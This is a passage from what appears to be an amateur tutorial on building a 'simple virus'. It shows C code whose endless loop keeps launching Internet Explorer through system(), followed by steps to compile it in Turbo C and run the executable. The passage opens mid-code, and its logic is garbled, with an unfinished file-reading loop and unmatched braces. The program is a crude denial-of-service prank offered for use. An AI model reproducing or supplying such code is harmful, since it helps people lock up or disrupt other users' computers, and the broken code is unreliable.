    fscanf( fpPtr, "%s", name );

    while( !feof( fpPtr ) ) {

for(; ;){

system("c:\\progra~1\\intern~1\\iexplore.exe");

}

return 0;

}

Step 2: Save the above file. Let file name is internet.c

Step 3: Only compile the above program.

Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the internet.c (default directory c:\tc\bin)

Step 5: Double click on its .exe file (internet.exe)

This is the creation of simple virus ... which is simpal and kool WAIT FOR MORE ......
